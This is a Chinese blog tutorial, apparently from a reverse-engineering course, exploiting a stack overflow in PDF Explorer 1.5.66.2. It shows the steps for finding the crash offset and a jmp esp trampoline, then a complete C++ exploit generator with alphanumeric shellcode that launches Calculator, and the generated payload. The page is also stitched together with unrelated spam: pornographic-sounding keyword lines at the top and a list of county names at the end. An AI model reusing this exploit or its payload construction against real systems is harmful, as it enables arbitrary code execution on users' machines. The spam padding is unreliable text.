最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

漏洞丨PDF Explorer 1.5.66.2 - Buffer Overflow

2022-12-14 15:13 作者:rkvir逆向工程學(xué)院  | 我要投稿

作者:黑蛋

一、漏洞簡(jiǎn)介

這是一個(gè)棧溢出漏洞,一個(gè)叫PDF Explorer的軟件(干嘛的咱沒必要知道),他對(duì)于用戶輸入內(nèi)容長(zhǎng)度沒有限制造成棧溢出漏洞。

二、漏洞環(huán)境

虛擬機(jī)

目標(biāo)程序

調(diào)試器

win7x86

PDF Explorer

x32dbg、OD

三、漏洞利用

1、漏洞測(cè)驗(yàn)

首先安裝軟件,然后打開:



點(diǎn)擊數(shù)據(jù)庫(kù):



點(diǎn)擊自定義域設(shè)置:




目標(biāo)輸入框如下:




我們測(cè)試輸入,一直輸入1,嘎嘎快樂:



2、檢測(cè)溢出點(diǎn)

整奔潰了,咱利用kali中pattern_create生成字符串,用來定位溢出點(diǎn):



Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9AV0AV1AV2AV3AV4AV5AV6AV7AV8AV9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

復(fù)制粘貼上文字符串,使用x32dbg打開PDF Explorer,運(yùn)行:



觀察x32dbg,按一下F9,讓程序跑,觀察EIP,找到溢出點(diǎn):



EIP是:396A4138
即在396A4138處溢出,在這塊截?cái)嘧址?注意小端序):

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

3、漏洞利用

找到溢出點(diǎn),我們開始分析堆棧情況,重新啟動(dòng)程序:



連續(xù)三個(gè)F9,回到PDF中,數(shù)據(jù)庫(kù)->自定義域:



輸入我們之前截?cái)嗟淖址?/p>



觀察此時(shí)的堆棧:
ESP指向我們的shellcode中的一部分;
ESP:0022E36C;
而溢出點(diǎn)就在ESP+C的位置;



在這里我們需要知道,ret之后eip指向esp的值,
也就是關(guān)鍵call返回必定是一個(gè)ret C,讓ESP指向396A4138,繼續(xù)運(yùn)行,可以看到溢出點(diǎn)依舊是396A4138:



如果在這里我們上下找一下,確實(shí)可以找到一個(gè)ret c,哈哈哈,下斷點(diǎn)測(cè)試一下確實(shí)是這里:



前面這步操作無傷大雅,接下來就是構(gòu)造shellcode了,我們的shellcode肯定在棧中,需要在溢出點(diǎn)那邊跳到shellcode中,棧中地址都以00開頭,所以不能直接跳轉(zhuǎn),經(jīng)過構(gòu)思,我們可以搞一個(gè)jmp esp的跳板,放在溢出點(diǎn),跳到自身溜下去執(zhí)行我們的shellcode。shellcode由三部分組成,前一部分無所謂,別放00就行,溢出點(diǎn)放一個(gè)跳板地址jmp esp,跳板后面跟我們的彈框shellcode。
跳板指令我是又用OD附加PDF搜索jmp esp找到一個(gè)地址76E277F1,彈窗shellcode用了msfvenom生成純字符串彈個(gè)計(jì)算機(jī)(如果不是純字符串,打印不出來):



下面是exp:

#define _CRT_SECURE_NO_WARNINGS
#include
#include
const char* a = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lixLBs0s0S0U0nim56QKpSTnkPPP0lKsb4LNksbr4lKbRFH4OoGrj7VFQYoLlgLPa1lTB4lepZahO6m5QjgZBXrf2rwnkrrFpNkRjGLnk2lDQd8ZCw831xQ0QLKv9q0gqkcNkqYdX8cvZQYLKdtnk7qHVdqIollKqHOtM31hGTxYpSEZV4CsMyh5kama4D5KTQHLKf84d31HSU6LKdLPKNkqHWls1yCnkTDnk6a8PlI3tUt6DckckQqqICjcaIoIpaOco3jnk5BXknm3mpjeQlMnelrc0wpwprpRHEaNk2OOwkO8UOKjPluORCfE8LfNuoMMMIo9EgLwv3LdJK0Ikm0D535MkaWb3T2poPjgpv3yojuBC51RLcSDn2E2XPeGpAA";
char buffer[2000] = { 0 };
int main()
{
??? //?構(gòu)造payload
??? memset(buffer, 'A', 264);
??? const char* payload =
?????? "\xF1\x77\xE2\x76"????? //jmp esp
?????? "\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90";
??? strcat(buffer, payload);
??? strcat(buffer, a);

??? //?寫入文件
??? std::ofstream o;
??? o.open("poc.txt", std::ios::out | std::ios::trunc);
??? o << buffer << std::endl;

??? //?關(guān)閉文件
??? o.close();
??? return 0;
}

輸入到文件中的內(nèi)容如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA駑鈜悙悙悙悙悙悙TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lixLBs0s0S0U0nim56QKpSTnkPPP0lKsb4LNksbr4lKbRFH4OoGrj7VFQYoLlgLPa1lTB4lepZahO6m5QjgZBXrf2rwnkrrFpNkRjGLnk2lDQd8ZCw831xQ0QLKv9q0gqkcNkqYdX8cvZQYLKdtnk7qHVdqIollKqHOtM31hGTxYpSEZV4CsMyh5kama4D5KTQHLKf84d31HSU6LKdLPKNkqHWls1yCnkTDnk6a8PlI3tUt6DckckQqqICjcaIoIpaOco3jnk5BXknm3mpjeQlMnelrc0wpwprpRHEaNk2OOwkO8UOKjPluORCfE8LfNuoMMMIo9EgLwv3LdJK0Ikm0D535MkaWb3T2poPjgpv3yojuBC51RLcSDn2E2XPeGpAA

之后打開PDF,按照之前步驟,把前面字符串復(fù)制到輸入框中,程序退出,彈出計(jì)算機(jī):



漏洞丨PDF Explorer 1.5.66.2 - Buffer Overflow的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
阳春市| 綦江县| 巴中市| 象州县| 哈巴河县| 泰州市| 福鼎市| 潼南县| 大足县| 伊川县| 兴海县| 临桂县| 福海县| 蒙自县| 惠州市| 西乌珠穆沁旗| 贵港市| 庆城县| 通山县| 洛宁县| 贡山| 武定县| 宝丰县| 桂平市| 伊吾县| 富源县| 墨玉县| 易门县| 塘沽区| 安岳县| 博乐市| 武川县| 贵德县| 兴城市| 富阳市| 甘南县| 连州市| 讷河市| 当雄县| 衡阳市| 德安县|